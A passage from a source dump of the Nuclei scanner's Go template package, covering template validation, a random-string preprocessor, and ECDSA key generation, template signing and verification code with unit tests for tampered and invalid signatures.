missing\", \"id\"))\n\t} else if !ReTemplateID.MatchString(template.ID) {\n\t\tvalidateErrors = append(validateErrors, errkit.Newf(\"invalid field format for '%s' (allowed format is %s)\", \"id\", ReTemplateID.String()))\n\t}\n\n\tif len(validateErrors) > 0 {\n\t\treturn errors.Join(validateErrors...)\n\t}\n\n\treturn nil\n}\n\nfunc isTemplateInfoMetadataMatch(tagFilter *TagFilter, template *Template, extraTags []string) (bool, error) {\n\tmatch, err := tagFilter.Match(template, extraTags)\n\n\tif err == ErrExcluded {\n\t\treturn false, ErrExcluded\n\t}\n\n\treturn match, err\n}\n\n// validateTemplateOptionalFields validates the optional fields of a template\n// return error from this function will throw a warning and proceed further\nfunc validateTemplateOptionalFields(template *Template) error {\n\tinfo := template.Info\n\n\tvar warnings []error\n\n\tif template.Type() != types.WorkflowProtocol && utils.IsBlank(info.SeverityHolder.Severity.String()) {\n\t\twarnings = append(warnings, errkit.Newf(\"field '%s' is missing\", \"severity\"))\n\t}\n\n\tif len(warnings) > 0 {\n\t\treturn errors.Join(warnings...)\n\t}\n\n\treturn nil\n}\n"
  },
  {
    "path": "pkg/templates/preprocessors.go",
    "content": "package templates\n\nimport (\n\t\"bytes\"\n\t\"regexp\"\n\t\"strings\"\n\n\tstringsutil \"github.com/projectdiscovery/utils/strings\"\n\t\"github.com/segmentio/ksuid\"\n)\n\ntype Preprocessor interface {\n\t// Process processes the data and returns the processed data.\n\tProcessNReturnData(data []byte) ([]byte, map[string]interface{})\n\t// Exists check if the preprocessor exists in the data.\n\tExists(data []byte) bool\n}\n\nvar (\n\tpreprocessorRegex    = regexp.MustCompile(`{{([a-z0-9_]+)}}`)\n\tdefaultPreprocessors = []Preprocessor{\n\t\t&randStrPreprocessor{},\n\t}\n)\n\nfunc getPreprocessors(preprocessor Preprocessor) []Preprocessor {\n\tif preprocessor != nil {\n\t\t// append() function adds the elements to existing slice if space is available\n\t\t// else it creates a new slice and copies the elements to new slice\n\t\t// this may cause race-conditions hence we do it explicitly\n\t\ttmp := make([]Preprocessor, 0, len(defaultPreprocessors)+1)\n\t\ttmp = append(tmp, preprocessor)\n\t\ttmp = append(tmp, defaultPreprocessors...)\n\t\treturn tmp\n\t}\n\treturn defaultPreprocessors\n}\n\nvar _ Preprocessor = &randStrPreprocessor{}\n\ntype randStrPreprocessor struct{}\n\n// ProcessNReturnData processes the data and returns the key-value pairs of generated/replaced data.\nfunc (r *randStrPreprocessor) ProcessNReturnData(data []byte) ([]byte, map[string]interface{}) {\n\tfoundMap := make(map[string]struct{})\n\tdataMap := make(map[string]interface{})\n\tfor _, expression := range preprocessorRegex.FindAllStringSubmatch(string(data), -1) {\n\t\tif len(expression) != 2 {\n\t\t\tcontinue\n\t\t}\n\t\tvalue := expression[1]\n\t\tif stringsutil.ContainsAny(value, \"(\", \")\") {\n\t\t\tcontinue\n\t\t}\n\n\t\tif _, ok := foundMap[value]; ok {\n\t\t\tcontinue\n\t\t}\n\t\tfoundMap[value] = struct{}{}\n\t\tif strings.EqualFold(value, \"randstr\") || strings.HasPrefix(value, \"randstr_\") {\n\t\t\trandStr := ksuid.New().String()\n\t\t\tdata = bytes.ReplaceAll(data, []byte(expression[0]), []byte(randStr))\n\t\t\tdataMap[expression[0]] = randStr\n\t\t}\n\t}\n\treturn data, dataMap\n}\n\n// Exists check if the preprocessor exists in the data.\nfunc (r *randStrPreprocessor) Exists(data []byte) bool {\n\treturn bytes.Contains(data, []byte(\"randstr\"))\n}\n"
  },
  {
    "path": "pkg/templates/signer/default.go",
    "content": "package signer\n\nimport (\n\t\"github.com/projectdiscovery/gologger\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/catalog/config\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/keys\"\n\t\"github.com/projectdiscovery/utils/errkit\"\n)\n\n// DefaultTemplateVerifiers contains the default template verifiers\nvar DefaultTemplateVerifiers []*TemplateSigner\n\nfunc init() {\n\th := &KeyHandler{\n\t\tUserCert: keys.NucleiCert,\n\t}\n\tif err := h.ParseUserCert(); err != nil {\n\t\tgologger.Error().Msgf(\"Could not parse pd nuclei certificate: %s\\n\", err)\n\t\treturn\n\t}\n\tDefaultTemplateVerifiers = append(DefaultTemplateVerifiers, &TemplateSigner{handler: h})\n\n\t// try to load default user cert\n\tusr := &KeyHandler{}\n\tif err := usr.ReadCert(CertEnvVarName, config.DefaultConfig.GetKeysDir()); err == nil {\n\t\tif err := usr.ParseUserCert(); err != nil {\n\t\t\tgologger.Error().Msgf(\"malformed user cert found: %s\\n\", err)\n\t\t\treturn\n\t\t}\n\t\tDefaultTemplateVerifiers = append(DefaultTemplateVerifiers, &TemplateSigner{handler: usr})\n\t}\n}\n\n// AddSignerToDefault adds a signer to the default list of signers\nfunc AddSignerToDefault(s *TemplateSigner) error {\n\tif s == nil {\n\t\treturn errkit.New(\"signer is nil\")\n\t}\n\tDefaultTemplateVerifiers = append(DefaultTemplateVerifiers, s)\n\treturn nil\n}\n"
  },
  {
    "path": "pkg/templates/signer/handler.go",
    "content": "package signer\n\nimport (\n\t\"bytes\"\n\t\"crypto/ecdsa\"\n\t\"crypto/elliptic\"\n\t\"crypto/rand\"\n\t\"crypto/x509\"\n\t\"crypto/x509/pkix\"\n\t\"encoding/pem\"\n\t\"fmt\"\n\t\"math/big\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"time\"\n\n\t\"github.com/projectdiscovery/gologger\"\n\tfileutil \"github.com/projectdiscovery/utils/file\"\n\t\"github.com/rs/xid\"\n\t\"golang.org/x/term\"\n)\n\nconst (\n\tCertType           = \"PD NUCLEI USER CERTIFICATE\"\n\tPrivateKeyType     = \"PD NUCLEI USER PRIVATE KEY\"\n\tCertFilename       = \"nuclei-user.crt\"\n\tPrivateKeyFilename = \"nuclei-user-private-key.pem\"\n\tCertEnvVarName     = \"NUCLEI_USER_CERTIFICATE\"\n\tPrivateKeyEnvName  = \"NUCLEI_USER_PRIVATE_KEY\"\n)\n\nvar (\n\tErrNoCertificate   = fmt.Errorf(\"nuclei user certificate not found\")\n\tErrNoPrivateKey    = fmt.Errorf(\"nuclei user private key not found\")\n\tSkipGeneratingKeys = false\n\tnoUserPassphrase   = false\n)\n\n// KeyHandler handles the key generation and management\n// of signer public and private keys\ntype KeyHandler struct {\n\tUserCert    []byte\n\tPrivateKey  []byte\n\tcert        *x509.Certificate\n\tecdsaPubKey *ecdsa.PublicKey\n\tecdsaKey    *ecdsa.PrivateKey\n}\n\n// ReadCert reads the user certificate from environment variable or given directory\nfunc (k *KeyHandler) ReadCert(envName, dir string) error {\n\t// read from env\n\tif cert := k.getEnvContent(envName); cert != nil {\n\t\tk.UserCert = cert\n\t\treturn nil\n\t}\n\t// read from disk\n\tif cert, err := os.ReadFile(filepath.Join(dir, CertFilename)); err == nil {\n\t\tk.UserCert = cert\n\t\treturn nil\n\t}\n\treturn ErrNoCertificate\n}\n\n// ReadPrivateKey reads the private key from environment variable or given directory\nfunc (k *KeyHandler) ReadPrivateKey(envName, dir string) error {\n\t// read from env\n\tif privateKey := k.getEnvContent(envName); privateKey != nil {\n\t\tk.PrivateKey = privateKey\n\t\treturn nil\n\t}\n\t// read from disk\n\tif privateKey, err := os.ReadFile(filepath.Join(dir, PrivateKeyFilename)); err == nil {\n\t\tk.PrivateKey = privateKey\n\t\treturn nil\n\t}\n\treturn ErrNoPrivateKey\n}\n\n// ParseUserCert parses the user certificate and returns the public key\nfunc (k *KeyHandler) ParseUserCert() error {\n\tblock, _ := pem.Decode(k.UserCert)\n\tif block == nil {\n\t\treturn fmt.Errorf(\"failed to parse PEM block containing the certificate\")\n\t}\n\tcert, err := x509.ParseCertificate(block.Bytes)\n\tif err != nil {\n\t\treturn err\n\t}\n\tif cert.Subject.CommonName == \"\" {\n\t\treturn fmt.Errorf(\"invalid certificate: expected common name to be set\")\n\t}\n\tk.cert = cert\n\tvar ok bool\n\tk.ecdsaPubKey, ok = cert.PublicKey.(*ecdsa.PublicKey)\n\tif !ok {\n\t\treturn fmt.Errorf(\"failed to parse ecdsa public key from cert\")\n\t}\n\treturn nil\n}\n\n// ParsePrivateKey parses the private key and returns the private key\nfunc (k *KeyHandler) ParsePrivateKey() error {\n\tblock, _ := pem.Decode(k.PrivateKey)\n\tif block == nil {\n\t\treturn fmt.Errorf(\"failed to parse PEM block containing the private key\")\n\t}\n\t// if pem block is encrypted , decrypt it\n\tif x509.IsEncryptedPEMBlock(block) { // nolint: all\n\t\tgologger.Info().Msgf(\"Private Key is encrypted with passphrase\")\n\t\tfmt.Printf(\"[*] Enter passphrase (exit to abort): \")\n\t\tbin, err := term.ReadPassword(int(os.Stdin.Fd()))\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tfmt.Println()\n\t\tif string(bin) == \"exit\" {\n\t\t\treturn fmt.Errorf(\"private key requires passphrase, but none was provided\")\n\t\t}\n\t\tblock.Bytes, err = x509.DecryptPEMBlock(block, bin) // nolint: all\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\tvar err error\n\tk.ecdsaKey, err = x509.ParseECPrivateKey(block.Bytes)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}\n\n// GenerateKeyPair generates a new key-pair for signing code templates\nfunc (k *KeyHandler) GenerateKeyPair() {\n\n\tgologger.Info().Msgf(\"Generating new key-pair for signing templates\")\n\tfmt.Printf(\"[*] Enter User/Organization Name (exit to abort) : \")\n\n\t// get user/organization name\n\tidentifier := \"\"\n\t_, err := fmt.Scanln(&identifier)\n\tif err != nil {\n\t\tgologger.Fatal().Msgf(\"failed to read user/organization name: %s\", err)\n\t}\n\tif identifier == \"exit\" {\n\t\tgologger.Fatal().Msgf(\"exiting key-pair generation\")\n\t}\n\tif identifier == \"\" {\n\t\tgologger.Fatal().Msgf(\"user/organization name cannot be empty\")\n\t}\n\n\t// generate new key-pair\n\tprivateKey, err := ecdsa.GenerateKey(elliptic.P256(), rand.Reader)\n\tif err != nil {\n\t\tgologger.Fatal().Msgf(\"failed to generate ecdsa key-pair: %s\", err)\n\t}\n\n\t// create x509 certificate with user/organization name and public key\n\t// self-signed certificate with generated private key\n\tk.UserCert, err = k.generateCertWithKey(identifier, privateKey)\n\tif err != nil {\n\t\tgologger.Fatal().Msgf(\"failed to create certificate: %s\", err)\n\t}\n\n\t// marshal private key\n\tk.PrivateKey, err = k.marshalPrivateKey(privateKey)\n\tif err != nil {\n\t\tgologger.Fatal().Msgf(\"failed to marshal ecdsa private key: %s\", err)\n\t}\n\tgologger.Info().Msgf(\"Successfully generated new key-pair for signing templates\")\n}\n\n// SaveToDisk saves the generated key-pair to the given directory\nfunc (k *KeyHandler) SaveToDisk(dir string) error {\n\t_ = fileutil.FixMissingDirs(filepath.Join(dir, CertFilename)) // not required but just in case will take care of missing dirs in path\n\tif err := os.WriteFile(filepath.Join(dir, CertFilename), k.UserCert, 0600); err != nil {\n\t\treturn err\n\t}\n\tif err := os.WriteFile(filepath.Join(dir, PrivateKeyFilename), k.PrivateKey, 0600); err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}\n\n// getEnvContent returns the content of the environment variable\n// if it is a file then it loads its content\nfunc (k *KeyHandler) getEnvContent(name string) []byte {\n\tval := os.Getenv(name)\n\tif val == \"\" {\n\t\treturn nil\n\t}\n\tif fileutil.FileExists(val) {\n\t\tdata, err := os.ReadFile(val)\n\t\tif err != nil {\n\t\t\tgologger.Fatal().Msgf(\"failed to read file: %s\", err)\n\t\t}\n\t\treturn data\n\t}\n\treturn []byte(val)\n}\n\n// generateCertWithKey creates a self-signed certificate with the given identifier and private key\nfunc (k *KeyHandler) generateCertWithKey(identifier string, privateKey *ecdsa.PrivateKey) ([]byte, error) {\n\t// Setting up the certificate\n\tnotBefore := time.Now()\n\tnotAfter := notBefore.Add(4 * 365 * 24 * time.Hour)\n\n\tserialNumber := big.NewInt(xid.New().Time().Unix())\n\t// create certificate template\n\ttemplate := x509.Certificate{\n\t\tSerialNumber: serialNumber,\n\t\tSubject: pkix.Name{\n\t\t\tCommonName: identifier,\n\t\t},\n\t\tSignatureAlgorithm: x509.ECDSAWithSHA256,\n\t\tNotBefore:          notBefore,\n\t\tNotAfter:           notAfter,\n\t\tPublicKey:          &privateKey.PublicKey,\n\t\tKeyUsage:           x509.KeyUsageDigitalSignature,\n\t\tExtKeyUsage: []x509.ExtKeyUsage{\n\t\t\tx509.ExtKeyUsageServerAuth,\n\t\t},\n\t\tIsCA:                  false,\n\t\tBasicConstraintsValid: true,\n\t}\n\t// Create the certificate\n\tderBytes, err := x509.CreateCertificate(rand.Reader, &template, &template, &privateKey.PublicKey, privateKey)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tvar certOut bytes.Buffer\n\tif err := pem.Encode(&certOut, &pem.Block{Type: CertType, Bytes: derBytes}); err != nil {\n\t\treturn nil, err\n\t}\n\treturn certOut.Bytes(), nil\n}\n\n// marshalPrivateKey marshals the private key and encrypts it with the given passphrase\nfunc (k *KeyHandler) marshalPrivateKey(privateKey *ecdsa.PrivateKey) ([]byte, error) {\n\n\tvar passphrase []byte\n\t// get passphrase to encrypt private key before saving to disk\n\tif !noUserPassphrase {\n\t\tfmt.Printf(\"[*] Enter passphrase (exit to abort): \")\n\t\tpassphrase = getPassphrase()\n\t}\n\n\t// marshal private key\n\tprivateKeyData, err := x509.MarshalECPrivateKey(privateKey)\n\tif err != nil {\n\t\tgologger.Fatal().Msgf(\"failed to marshal ecdsa private key: %s\", err)\n\t}\n\t//  pem encode keys\n\tpemBlock := &pem.Block{\n\t\tType: PrivateKeyType, Bytes: privateKeyData,\n\t}\n\t// encrypt private key if passphrase is provided\n\tif len(passphrase) > 0 {\n\t\t// encode it with passphrase\n\t\t// this function is deprecated since go 1.16 but go stdlib does not want to provide any alternative\n\t\t// see: https://github.com/golang/go/issues/8860\n\t\tencBlock, err := x509.EncryptPEMBlock(rand.Reader, pemBlock.Type, pemBlock.Bytes, passphrase, x509.PEMCipherAES256) // nolint: all\n\t\tif err != nil {\n\t\t\tgologger.Fatal().Msgf(\"failed to encrypt private key: %s\", err)\n\t\t}\n\t\tpemBlock = encBlock\n\t}\n\treturn pem.EncodeToMemory(pemBlock), nil\n}\n\nfunc getPassphrase() []byte {\n\tbin, err := term.ReadPassword(int(os.Stdin.Fd()))\n\tif err != nil {\n\t\tgologger.Fatal().Msgf(\"could not read passphrase: %s\", err)\n\t}\n\tfmt.Println()\n\tif string(bin) == \"exit\" {\n\t\tgologger.Fatal().Msgf(\"exiting\")\n\t}\n\tfmt.Printf(\"[*] Enter same passphrase again: \")\n\tbin2, err := term.ReadPassword(int(os.Stdin.Fd()))\n\tif err != nil {\n\t\tgologger.Fatal().Msgf(\"could not read passphrase: %s\", err)\n\t}\n\tfmt.Println()\n\t// review: should we allow empty passphrase?\n\t// we currently allow empty passphrase\n\tif string(bin) != string(bin2) {\n\t\tgologger.Fatal().Msgf(\"passphrase did not match try again\")\n\t}\n\treturn bin\n}\n"
  },
  {
    "path": "pkg/templates/signer/handler_test.go",
    "content": "package signer\n\nimport (\n\t\"bytes\"\n\t\"os\"\n\t\"os/exec\"\n\t\"strings\"\n\t\"testing\"\n\n\t\"github.com/projectdiscovery/gologger\"\n\t\"github.com/projectdiscovery/gologger/levels\"\n)\n\n// This Unit Test generates a new key pair and parses it\n// to ensure that the key handler works as expected.\nfunc TestKeyHandler(t *testing.T) {\n\tif val := os.Getenv(\"KEY_HANDLER_CI\"); val != \"1\" {\n\t\tcmd := exec.Command(os.Args[0], \"-test.run=^TestKeyHandler$\", \"-test.v\")\n\t\tcmd.Env = append(cmd.Env, \"KEY_HANDLER_CI=1\")\n\t\tvar buff bytes.Buffer\n\t\tcmd.Stdin = &buff\n\t\tbuff.WriteString(\"CIUSER\\n\")\n\t\tbuff.WriteString(\"\\n\")\n\t\tout, err := cmd.CombinedOutput()\n\t\tif !strings.Contains(string(out), \"PASS\\n\") || err != nil {\n\t\t\tt.Fatalf(\"%s\\n(exit status %v)\", string(out), err)\n\t\t}\n\t\treturn\n\t}\n\tgologger.DefaultLogger.SetMaxLevel(levels.LevelSilent)\n\th := &KeyHandler{}\n\tnoUserPassphrase = true\n\th.GenerateKeyPair()\n\tif h.UserCert == nil {\n\t\tt.Fatal(\"no user cert found\")\n\t}\n\tif h.PrivateKey == nil {\n\t\tt.Fatal(\"no private key found\")\n\t}\n\n\t// now parse the cert and private key\n\tif err := h.ParseUserCert(); err != nil {\n\t\tt.Fatal(err)\n\t}\n\tif err := h.ParsePrivateKey(); err != nil {\n\t\tt.Fatal(err)\n\t}\n\tif h.ecdsaKey == nil {\n\t\tt.Fatal(\"no ecdsa key found\")\n\t}\n\tif h.ecdsaPubKey == nil {\n\t\tt.Fatal(\"no ecdsa public key found\")\n\t}\n\tif h.cert == nil {\n\t\tt.Fatal(\"no certificate found\")\n\t}\n\tif h.cert.Subject.CommonName != \"CIUSER\" {\n\t\tt.Fatal(\"invalid user name found\")\n\t}\n}\n"
  },
  {
    "path": "pkg/templates/signer/tmpl_signer.go",
    "content": "package signer\n\nimport (\n\t\"bytes\"\n\t\"crypto/ecdsa\"\n\t\"crypto/md5\"\n\t\"crypto/rand\"\n\t\"crypto/sha256\"\n\t\"encoding/gob\"\n\t\"encoding/hex\"\n\t\"errors\"\n\t\"fmt\"\n\t\"os\"\n\t\"strings\"\n\t\"sync\"\n\n\t\"github.com/projectdiscovery/gologger\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/catalog/config\"\n\t\"github.com/projectdiscovery/utils/errkit\"\n)\n\nvar (\n\tErrUnknownAlgorithm = errors.New(\"unknown algorithm\")\n\tSignaturePattern    = \"# digest: \"\n\tSignatureFmt        = SignaturePattern + \"%x\" + \":%v\" // `#digest: <signature>:<fragment>`\n)\n\n// ExtractSignatureAndContent extracts the signature (if present) and returns the content without the signature\nfunc ExtractSignatureAndContent(data []byte) (signature, content []byte) {\n\tdataStr := string(data)\n\tif idx := strings.LastIndex(dataStr, SignaturePattern); idx != -1 {\n\t\tsignature = []byte(strings.TrimSpace(dataStr[idx:]))\n\t\tcontent = bytes.TrimSpace(data[:idx])\n\t} else {\n\t\tcontent = data\n\t}\n\tcontent = bytes.TrimSpace(content)\n\treturn signature, content\n}\n\n// SignableTemplate is a template that can be signed\ntype SignableTemplate interface {\n\t// GetFileImports returns a list of files that are imported by the template\n\tGetFileImports() []string\n\t// HasCodeProtocol returns true if the template has a code protocol section\n\tHasCodeProtocol() bool\n}\n\ntype TemplateSigner struct {\n\tsync.Once\n\thandler  *KeyHandler\n\tfragment string\n}\n\n// Identifier returns the identifier for the template signer\nfunc (t *TemplateSigner) Identifier() string {\n\treturn t.handler.cert.Subject.CommonName\n}\n\n// fragment is optional part of signature that is used to identify the user\n// who signed the template via md5 hash of public key\nfunc (t *TemplateSigner) GetUserFragment() string {\n\t// wrap with sync.Once to reduce unnecessary md5 hashing\n\tt.Do(func() {\n\t\tif t.handler.ecdsaPubKey != nil {\n\t\t\thashed := md5.Sum(t.handler.ecdsaPubKey.X.Bytes())\n\t\t\tt.fragment = fmt.Sprintf(\"%x\", hashed)\n\t\t}\n\t})\n\treturn t.fragment\n}\n\n// Sign signs the given template with the template signer and returns the signature\nfunc (t *TemplateSigner) Sign(data []byte, tmpl SignableTemplate) (string, error) {\n\texistingSignature, content := ExtractSignatureAndContent(data)\n\n\t// while re-signing template check if it has a code protocol\n\t// if it does then verify that it is signed by current signer\n\t// if not then return error\n\tif tmpl.HasCodeProtocol() {\n\t\tif len(existingSignature) > 0 {\n\t\t\tarr := strings.SplitN(string(existingSignature), \":\", 3)\n\t\t\tif len(arr) == 2 {\n\t\t\t\t// signature has no fragment\n\t\t\t\treturn \"\", errkit.New(\"re-signing code templates are not allowed for security reasons.\")\n\t\t\t}\n\t\t\tif len(arr) == 3 {\n\t\t\t\t// signature has fragment verify if it is equal to current fragment\n\t\t\t\tfragment := t.GetUserFragment()\n\t\t\t\tif fragment != arr[2] {\n\t\t\t\t\treturn \"\", errkit.New(\"re-signing code templates are not allowed for security reasons.\")\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\tbuff := bytes.NewBuffer(content)\n\t// if file has any imports process them\n\tfor _, file := range tmpl.GetFileImports() {\n\t\tbin, err := os.ReadFile(file)\n\t\tif err != nil {\n\t\t\treturn \"\", err\n\t\t}\n\t\tbuff.WriteRune('\\n')\n\t\tbuff.Write(bin)\n\t}\n\tsignatureData, err := t.sign(buff.Bytes())\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\treturn signatureData, nil\n}\n\n// Signs given data with the template signer\n// Note: this should not be used for signing templates as file references\n// in templates are not processed use template.SignTemplate() instead\nfunc (t *TemplateSigner) sign(data []byte) (string, error) {\n\tdataHash := sha256.Sum256(data)\n\tecdsaSignature, err := ecdsa.SignASN1(rand.Reader, t.handler.ecdsaKey, dataHash[:])\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tvar signatureData bytes.Buffer\n\tif err := gob.NewEncoder(&signatureData).Encode(ecdsaSignature); err != nil {\n\t\treturn \"\", err\n\t}\n\treturn fmt.Sprintf(SignatureFmt, signatureData.Bytes(), t.GetUserFragment()), nil\n}\n\n// Verify verifies the given template with the template signer\nfunc (t *TemplateSigner) Verify(data []byte, tmpl SignableTemplate) (bool, error) {\n\tsignature, content := ExtractSignatureAndContent(data)\n\tif len(signature) == 0 {\n\t\treturn false, errors.New(\"no signature found\")\n\t}\n\n\tif !bytes.HasPrefix(signature, []byte(SignaturePattern)) {\n\t\treturn false, errors.New(\"signature must be at the end of the template\")\n\t}\n\n\tdigestData := bytes.TrimSpace(bytes.TrimPrefix(signature, []byte(SignaturePattern)))\n\t// remove fragment from digest as it is used for re-signing purposes only\n\tdigestString := strings.TrimSuffix(string(digestData), \":\"+t.GetUserFragment())\n\tdigest, err := hex.DecodeString(digestString)\n\tif err != nil {\n\t\treturn false, err\n\t}\n\n\t// normalize content by removing \\r\\n everywhere since this only done for verification\n\t// it does not affect the actual template\n\tcontent = bytes.ReplaceAll(content, []byte(\"\\r\\n\"), []byte(\"\\n\"))\n\n\tbuff := bytes.NewBuffer(content)\n\t// if file has any imports process them\n\tfor _, file := range tmpl.GetFileImports() {\n\t\tbin, err := os.ReadFile(file)\n\t\tif err != nil {\n\t\t\treturn false, err\n\t\t}\n\t\tbuff.WriteRune('\\n')\n\t\tbuff.Write(bin)\n\t}\n\n\treturn t.verify(buff.Bytes(), digest)\n}\n\n// Verify verifies the given data with the template signer\n// Note: this should not be used for verifying templates as file references\n// in templates are not processed\nfunc (t *TemplateSigner) verify(data, signatureData []byte) (bool, error) {\n\tdataHash := sha256.Sum256(data)\n\n\tvar signature []byte\n\tif err := gob.NewDecoder(bytes.NewReader(signatureData)).Decode(&signature); err != nil {\n\t\treturn false, err\n\t}\n\treturn ecdsa.VerifyASN1(t.handler.ecdsaPubKey, dataHash[:], signature), nil\n}\n\n// NewTemplateSigner creates a new signer for signing templates\nfunc NewTemplateSigner(cert, privateKey []byte) (*TemplateSigner, error) {\n\thandler := &KeyHandler{}\n\tvar err error\n\tif cert != nil || privateKey != nil {\n\t\thandler.UserCert = cert\n\t\thandler.PrivateKey = privateKey\n\t} else {\n\t\terr = handler.ReadCert(CertEnvVarName, config.DefaultConfig.GetKeysDir())\n\t\tif err == nil {\n\t\t\terr = handler.ReadPrivateKey(PrivateKeyEnvName, config.DefaultConfig.GetKeysDir())\n\t\t}\n\t}\n\tif err != nil && !SkipGeneratingKeys {\n\t\tif err != ErrNoCertificate && err != ErrNoPrivateKey {\n\t\t\tgologger.Info().Msgf(\"Invalid user cert found : %s\\n\", err)\n\t\t}\n\t\t// generating new keys\n\t\thandler.GenerateKeyPair()\n\t\tif err := handler.SaveToDisk(config.DefaultConfig.GetKeysDir()); err != nil {\n\t\t\tgologger.Fatal().Msgf(\"could not save generated keys to disk: %s\\n\", err)\n\t\t}\n\t\t// do not continue further let user re-run the command\n\t\tos.Exit(0)\n\t} else if err != nil && SkipGeneratingKeys {\n\t\treturn nil, err\n\t}\n\n\tif err := handler.ParseUserCert(); err != nil {\n\t\treturn nil, err\n\t}\n\tif err := handler.ParsePrivateKey(); err != nil {\n\t\treturn nil, err\n\t}\n\treturn &TemplateSigner{\n\t\thandler: handler,\n\t}, nil\n}\n\n// NewTemplateSignerFromFiles creates a new signer for signing templates\nfunc NewTemplateSignerFromFiles(cert, privKey string) (*TemplateSigner, error) {\n\tcertData, err := os.ReadFile(cert)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tprivKeyData, err := os.ReadFile(privKey)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn NewTemplateSigner(certData, privKeyData)\n}\n\n// NewTemplateSigVerifier creates a new signer for verifying templates\nfunc NewTemplateSigVerifier(cert []byte) (*TemplateSigner, error) {\n\thandler := &KeyHandler{}\n\tif cert != nil {\n\t\thandler.UserCert = cert\n\t} else {\n\t\tif err := handler.ReadCert(CertEnvVarName, config.DefaultConfig.GetKeysDir()); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\tif err := handler.ParseUserCert(); err != nil {\n\t\treturn nil, err\n\t}\n\treturn &TemplateSigner{\n\t\thandler: handler,\n\t}, nil\n}\n"
  },
  {
    "path": "pkg/templates/signer/tmpl_signer_test.go",
    "content": "package signer\n\nimport (\n\t\"bytes\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/assert\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nconst (\n\ttestCertFile = \"../../../integration_tests/protocols/keys/ci.crt\"\n\ttestKeyFile  = \"../../../integration_tests/protocols/keys/ci-private-key.pem\"\n)\n\ntype mockSignableTemplate struct {\n\timports []string\n\thasCode bool\n}\n\nfunc (m *mockSignableTemplate) GetFileImports() []string {\n\treturn m.imports\n}\n\nfunc (m *mockSignableTemplate) HasCodeProtocol() bool {\n\treturn m.hasCode\n}\n\nvar signer, _ = NewTemplateSignerFromFiles(testCertFile, testKeyFile)\n\nfunc TestTemplateSignerSignAndVerify(t *testing.T) {\n\ttempDir := t.TempDir()\n\n\ttests := []struct {\n\t\tname            string\n\t\tdata            []byte\n\t\ttmpl            SignableTemplate\n\t\twantSignErr     bool\n\t\twantVerifyErr   bool\n\t\twantVerified    bool\n\t\tmodifyAfterSign func([]byte) []byte\n\t}{\n\t\t{\n\t\t\tname:         \"Simple template\",\n\t\t\tdata:         []byte(\"id: test-template\\ninfo:\\n  name: Test Template\"),\n\t\t\ttmpl:         &mockSignableTemplate{},\n\t\t\twantVerified: true,\n\t\t},\n\t\t{\n\t\t\tname: \"Template with imports\",\n\t\t\tdata: []byte(\"id: test-template\\ninfo:\\n  name: Test Template\"),\n\t\t\ttmpl: &mockSignableTemplate{imports: []string{\n\t\t\t\tfilepath.Join(tempDir, \"import1.yaml\"),\n\t\t\t\tfilepath.Join(tempDir, \"import2.yaml\"),\n\t\t\t}},\n\t\t\twantVerified: true,\n\t\t},\n\t\t{\n\t\t\tname:         \"Template with code protocol\",\n\t\t\tdata:         []byte(\"id: test-template\\ninfo:\\n  name: Test Template\\n\\ncode:\\n  - engine: bash\\n    source: echo 'Hello, World!'\"),\n\t\t\ttmpl:         &mockSignableTemplate{hasCode: true},\n\t\t\twantSignErr:  false,\n\t\t\twantVerified: true,\n\t\t},\n\t\t{\n\t\t\tname: \"Tampered template\",\n\t\t\tdata: []byte(\"id: test-template\\ninfo:\\n  name: Test Template\"),\n\t\t\ttmpl: &mockSignableTemplate{},\n\t\t\tmodifyAfterSign: func(data []byte) []byte {\n\t\t\t\tsignatureIndex := bytes.LastIndex(data, []byte(SignaturePattern))\n\t\t\t\tif signatureIndex == -1 {\n\t\t\t\t\treturn data\n\t\t\t\t}\n\t\t\t\treturn append(data[:signatureIndex], append([]byte(\"# Tampered content\\n\"), data[signatureIndex:]...)...)\n\t\t\t},\n\t\t\twantVerified: false,\n\t\t},\n\t\t{\n\t\t\tname: \"Invalid signature\",\n\t\t\tdata: []byte(\"id: test-template\\ninfo:\\n  name: Test Template\"),\n\t\t\ttmpl: &mockSignableTemplate{},\n\t\t\tmodifyAfterSign: func(data []byte) []byte {\n\t\t\t\treturn append(bytes.TrimSuffix(data, []byte(\"\\n\")), []byte(\"\\n# digest: invalid_signature:fragment\")...)\n\t\t\t},\n\t\t\twantVerifyErr: true,\n\t\t\twantVerified:  false,\n\t\t},\n\t}\n\n\tfor _, tt := range tests {\n\t\tt.Run(tt.name, func(t *testing.T) {\n\t\t\t// Create import files if needed\n\t\t\tfor _, imp := range tt.tmpl.GetFileImports() {\n\t\t\t\terr := os.WriteFile(imp, []byte(\"imported content\"), 0644)\n\t\t\t\trequire.NoError(t, err, \"Failed to create import file\")\n\t\t\t}\n\n\t\t\t// Sign the template\n\t\t\tsignature, err := signer.Sign(tt.data, tt.tmpl)\n\t\t\tif tt.wantSignErr {\n\t\t\t\tassert.Error(t, err, \"Expected an error during signing\")\n\t\t\t\treturn\n\t\t\t}\n\t\t\trequire.NoError(t, err, \"Failed to sign template\")\n\n\t\t\t// Append signature to the template data\n\t\t\tsignedData := append(tt.data, []byte(\"\\n\"+signature)...)\n\n\t\t\t// Apply any modifications after signing if specified\n\t\t\tif tt.modifyAfterSign != nil {\n\t\t\t\tsignedData = tt.modifyAfterSign(signedData)\n\t\t\t}\n\n\t\t\t// Verify the signature\n\t\t\tverified, err := signer.Verify(signedData, tt.tmpl)\n\t\t\tif tt.wantVerifyErr {\n\t\t\t\tassert.Error(t, err, \"Expected an error during verification\")\n\t\t\t} else {\n\t\t\t\tassert.NoError(t, err, \"Unexpected error during 